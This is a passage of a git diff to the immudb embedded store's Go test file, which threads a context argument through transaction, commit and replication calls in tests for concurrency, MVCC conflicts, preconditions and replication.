hdrLen - txSpec, err := s.NewWriteOnlyTx() + txSpec, err := s.NewWriteOnlyTx(ctx) if err != nil { return nil, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 365d3c3936..b0da8a4976 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -18,6 +18,7 @@ package store import ( "bytes" + "context" "crypto/sha256" "encoding/binary" "errors" @@ -76,7 +77,7 @@ func TestImmudbStoreConcurrency(t *testing.T) { defer wg.Done() for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -152,7 +153,7 @@ func TestImmudbStoreConcurrentCommits(t *testing.T) { defer wg.Done() for c := 0; c < txCount; { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -261,7 +262,7 @@ func TestImmudbStoreWithTimeFunction(t *testing.T) { }) require.NoError(t, err) - tx, err := immuStore.NewTx(DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("value1")) @@ -675,7 +676,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { wg.Add(1) go func() { - tx, err := store.NewWriteOnlyTx() + tx, err := store.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key"), nil, []byte("value")) @@ -877,7 +878,7 @@ func TestImmudbStoreIndexing(t *testing.T) { eCount := 10 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -973,7 +974,7 @@ func TestImmudbStoreIndexing(t *testing.T) { require.NoError(t, err) t.Run("latest set value should be committed", func(t *testing.T) { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key"), nil, []byte("value1")) @@ -1004,7 +1005,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { defer immustoreClose(t, immuStore) t.Run("after closing write-only tx edge cases", func(t *testing.T) { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) require.Nil(t, tx.Metadata()) @@ -1053,7 +1054,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("cancelled transaction should not produce effects", func(t *testing.T) { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) _, err = tx.Get([]byte{1, 2, 3}) @@ -1086,7 +1087,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err := immuStore.Get([]byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) - tx, err := immuStore.NewTx(DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx.Get([]byte("key1")) @@ -1156,10 +1157,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("second ongoing tx after the first commit should succeed", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) @@ -1185,10 +1186,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("second ongoing tx with multiple entries after the first commit should succeed", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) @@ -1217,10 +1218,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("second ongoing tx after the first cancellation should succeed", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) @@ -1246,7 +1247,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("deleted keys should not be reachable", func(t *testing.T) { - tx, err := immuStore.NewTx(DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx.Delete([]byte{1, 2, 3}) @@ -1287,7 +1288,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NotNil(t, valRef.KVMetadata()) require.False(t, valRef.KVMetadata().IsExpirable()) - tx, err = immuStore.NewTx(DefaultTxOptions()) + tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() @@ -1308,7 +1309,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { t.Run("non-expired keys should be reachable", func(t *testing.T) { nearFuture := time.Now().Add(2 * time.Second) - tx, err := immuStore.NewTx(DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() @@ -1352,7 +1353,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { t.Run("expired keys should not be reachable", func(t *testing.T) { now := time.Now() - tx, err := immuStore.NewTx(DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() @@ -1378,7 +1379,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("transactions should not read data from anothers committed or ongoing transactions since it was created", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Delete([]byte("key1")) @@ -1390,20 +1391,20 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key1"), nil, []byte("value1_tx2")) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx3.Get([]byte("key1")) require.ErrorIs(t, err, ErrKeyNotFound) // ongoing tranactions should not read committed entries since their creation - tx11, err := immuStore.NewTx(DefaultTxOptions()) + tx11, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx11.Set([]byte("key1"), nil, []byte("value1_tx11")) @@ -1443,7 +1444,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { defer immustoreClose(t, immuStore) - tx, err := immuStore.NewTx(DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -1488,7 +1489,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) }) - tx, err = immuStore.NewTx(DefaultTxOptions()) + tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx.Get([]byte{1, 2, 3}) @@ -1515,7 +1516,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { defer immustoreClose(t, immuStore) - tx, err := immuStore.NewTx(DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -1544,7 +1545,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { require.Equal(t, []byte("indexedValue"), val) // commit tx with all non-indexable entries - tx, err = immuStore.NewTx(DefaultTxOptions()) + tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -1558,7 +1559,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) // commit simple tx with an indexable entry - tx, err = immuStore.NewTx(DefaultTxOptions()) + tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -1585,19 +1586,19 @@ func TestImmudbStoreCommitWith(t *testing.T) { defer immustoreClose(t, immuStore) - _, err = immuStore.CommitWith(nil, false) + _, err = immuStore.CommitWith(context.Background(), nil, false) require.ErrorIs(t, err, ErrIllegalArguments) callback := func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return nil, nil, nil } - _, err = immuStore.CommitWith(callback, false) + _, err = immuStore.CommitWith(context.Background(), callback, false) require.ErrorIs(t, err, ErrorNoEntriesProvided) callback = func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return nil, nil, errors.New("error") } - _, err = immuStore.CommitWith(callback, false) + _, err = immuStore.CommitWith(context.Background(), callback, false) require.Error(t, err) callback = func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { @@ -1606,7 +1607,7 @@ func TestImmudbStoreCommitWith(t *testing.T) { }, nil, nil } - hdr, err := immuStore.CommitWith(callback, true) + hdr, err := immuStore.CommitWith(context.Background(), callback, true) require.NoError(t, err) require.Equal(t, uint64(1), immuStore.IndexInfo()) @@ -1642,7 +1643,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { eCount := 10 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -1740,7 +1741,7 @@ func TestImmudbStoreInclusionProof(t *testing.T) { eCount := 100 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -1767,7 +1768,7 @@ func TestImmudbStoreInclusionProof(t *testing.T) { err = immuStore.Close() require.NoError(t, err) - _, err = immuStore.CommitWith(func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { + _, err = immuStore.CommitWith(context.Background(), func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return []*EntrySpec{ {Key: []byte(fmt.Sprintf("keyInsertedAtTx%d", txID)), Value: nil}, }, nil, nil @@ -1851,7 +1852,7 @@ func TestLeavesMatchesAHTSync(t *testing.T) { eCount := 10 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -1908,7 +1909,7 @@ func TestLeavesMatchesAHTASync(t *testing.T) { eCount := 10 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -1955,7 +1956,7 @@ func TestImmudbStoreConsistencyProof(t *testing.T) { eCount := 10 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2015,7 +2016,7 @@ func TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) { eCount := 10 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -2068,14 +2069,14 @@ func TestImmudbStoreConsistencyProofReopened(t *testing.T) { txCount := 16 eCount := 100 - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) _, err = tx.Commit() require.ErrorIs(t, err, ErrorNoEntriesProvided) for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -2170,7 +2171,7 @@ func TestReOpeningImmudbStore(t *testing.T) { require.NoError(t, err) for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -2212,7 +2213,7 @@ func TestReOpeningWithCompressionEnabledImmudbStore(t *testing.T) { require.NoError(t, err) for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -2289,7 +2290,7 @@ func TestUncommittedTxOverwriting(t *testing.T) { emulatedFailures := 0 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -2372,7 +2373,7 @@ func TestExportAndReplicateTx(t *testing.T) { require.NoError(t, err) defer immustoreClose(t, replicaStore) - tx, err := primaryStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2389,14 +2390,14 @@ func TestExportAndReplicateTx(t *testing.T) { etx, err := primaryStore.ExportTx(1, false, txholder) require.NoError(t, err) - rhdr, err := replicaStore.ReplicateTx(etx, false) + rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false) require.NoError(t, err) require.NotNil(t, rhdr) require.Equal(t, hdr.ID, rhdr.ID) require.Equal(t, hdr.Alh(), rhdr.Alh()) - _, err = replicaStore.ReplicateTx(nil, false) + _, err = replicaStore.ReplicateTx(context.Background(), nil, false) require.ErrorIs(t, err, ErrIllegalArguments) } @@ -2413,7 +2414,7 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { require.NoError(t, err) defer immustoreClose(t, replicaStore) - tx, err := primaryStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2444,7 +2445,7 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { copy(brokenEtx, etx) brokenEtx[i]++ - _, err = replicaStore.ReplicateTx(brokenEtx, false) + _, err = replicaStore.ReplicateTx(context.Background(), brokenEtx, false) require.Error(t, err) if !errors.Is(err, ErrIllegalArguments) && @@ -2476,7 +2477,7 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { for i := 0; i < txCount; i++ { t.Run(fmt.Sprintf("tx: %d", i), func(t *testing.T) { - tx, err := primaryStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2499,7 +2500,7 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { wg.Add(1) go func(j int) { defer wg.Done() - _, errors[j] = replicaStore.ReplicateTx(etx, false) + _, errors[j] = replicaStore.ReplicateTx(context.Background(), etx, false) }(j) } wg.Wait() @@ -2539,7 +2540,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { txholder := tempTxHolder(t, replicaStore) for i := 0; i < txCount; i++ { - tx, err := primaryStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2572,7 +2573,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { for etx := range etxs { time.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond) - _, err = replicaStore.ReplicateTx(etx, false) + _, err = replicaStore.ReplicateTx(context.Background(), etx, false) require.NoError(t, err) } }(r) @@ -2611,7 +2612,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { defer immuStore.Close() // set initial value - otx, err := immuStore.NewTx(DefaultTxOptions()) + otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key1"), nil, []byte("value1")) @@ -2621,7 +2622,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { require.NoError(t, err) // delete entry - otx, err = immuStore.NewTx(DefaultTxOptions()) + otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Delete([]byte("key1")) @@ -2631,7 +2632,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { require.NoError(t, err) t.Run("must not exist constraint should pass when evaluated over a deleted key", func(t *testing.T) { - otx, err := immuStore.NewTx(DefaultTxOptions()) + otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key2"), nil, []byte("value2")) @@ -2645,7 +2646,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must exist constraint should pass when evaluated over an existent key", func(t *testing.T) { - otx, err := immuStore.NewTx(DefaultTxOptions()) + otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key3"), nil, []byte("value3")) @@ -2659,7 +2660,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must not be modified after constraint should not pass when key is deleted after specified tx", func(t *testing.T) { - otx, err := immuStore.NewTx(DefaultTxOptions()) + otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key4"), nil, []byte("value4")) @@ -2673,7 +2674,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must not be modified after constraint should pass when if key does not exist", func(t *testing.T) { - otx, err = immuStore.NewTx(DefaultTxOptions()) + otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key4"), nil, []byte("value4")) @@ -2687,7 +2688,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) // insert an expirable entry - otx, err = immuStore.NewTx(DefaultTxOptions()) + otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() @@ -2715,7 +2716,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { } t.Run("must not be modified after constraint should not pass when if expired and expiration was set after specified tx", func(t *testing.T) { - otx, err = immuStore.NewTx(DefaultTxOptions()) + otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) @@ -2729,7 +2730,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must not exist constraint should pass when if expired", func(t *testing.T) { - otx, err = immuStore.NewTx(DefaultTxOptions()) + otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) @@ -2743,7 +2744,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must exist constraint should not pass when if expired", func(t *testing.T) { - otx, err = immuStore.NewTx(DefaultTxOptions()) + otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) @@ -2783,7 +2784,7 @@ func BenchmarkSyncedAppend(b *testing.B) { committed := 0 for committed < txCount { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { @@ -2828,7 +2829,7 @@ func BenchmarkAsyncAppend(b *testing.B) { eCount := 1000 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { @@ -2887,7 +2888,7 @@ func BenchmarkSyncedAppendWithExtCommitAllowance(b *testing.B) { committed := 0 for committed < txCount { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { @@ -2944,7 +2945,7 @@ func BenchmarkAsyncAppendWithExtCommitAllowance(b *testing.B) { eCount := 1000 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { @@ -2970,7 +2971,7 @@ func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { immuStore, err := Open(dir, DefaultOptions()) require.NoError(t, err) - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val1")) @@ -3027,7 +3028,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { immuStore, err := Open(dir, DefaultOptions()) require.NoError(t, err) - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val1")) @@ -3037,7 +3038,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { require.NoError(t, err) require.NotNil(t, hdr1) - tx, err = immuStore.NewWriteOnlyTx() + tx, err = immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val2")) @@ -3089,7 +3090,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { require.EqualValues(t, []byte("val1"), value) // ensure we can correctly write more data into the store - tx, err = immuStore.NewWriteOnlyTx() + tx, err = immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val2")) @@ -3135,7 +3136,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { immuStore.indexer.Pause() for i := 1; i < 100; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte(fmt.Sprintf("key_%d", i)), nil, []byte(fmt.Sprintf("value_%d", i))) @@ -3146,7 +3147,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { } // Next prepare transaction with preconditions - this must wait for the indexer - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key"), nil, []byte("value")) @@ -3177,7 +3178,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { immuStore.indexer.Pause() for i := 1; i < 100; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte(fmt.Sprintf("key2_%d", i)), nil, []byte(fmt.Sprintf("value2_%d", i))) @@ -3193,7 +3194,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { }() // Next prepare transaction with preconditions - this must wait for the indexer - _, err = immuStore.CommitWith(func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { + _, err = immuStore.CommitWith(context.Background(), func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return []*EntrySpec{{ Key: []byte("key2"), Value: []byte("value2"), @@ -3230,7 +3231,7 @@ func TestTimeBasedTxLookup(t *testing.T) { const txCount = 100 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val1")) @@ -3308,7 +3309,7 @@ func TestBlTXOrdering(t *testing.T) { return default: } - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.Set([]byte(fmt.Sprintf("key:%d", i)), nil, []byte("value")) @@ -3372,7 +3373,7 @@ func TestImmudbStoreExternalCommitAllowance(t *testing.T) { go func() { defer wg.Done() - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for i := 0; i < eCount; i++ { @@ -3430,7 +3431,7 @@ func TestImmudbStorePrecommittedTxLoading(t *testing.T) { go func() { defer wg.Done() - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for i := 0; i < eCount; i++ { @@ -3488,7 +3489,7 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { for i := 0; i < txCount; i++ { go func() { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for i := 0; i < eCount; i++ { @@ -3559,10 +3560,10 @@ func TestImmudbStoreMVCC(t *testing.T) { defer immuStore.Close() t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3582,10 +3583,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected even when the key was updated by another transaction if its value was not read", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3602,10 +3603,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key3"), nil, []byte("value")) @@ -3625,7 +3626,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key4"), nil, []byte("value")) @@ -3634,10 +3635,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key4")) @@ -3657,10 +3658,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3681,10 +3682,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3705,10 +3706,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Delete([]byte("key1")) @@ -3729,7 +3730,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys have been updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3738,10 +3739,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key2"), nil, []byte("value2")) @@ -3787,7 +3788,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("no read conflict should be detected when read keys have been updated by the ongoing transaction", func(t *testing.T) { - 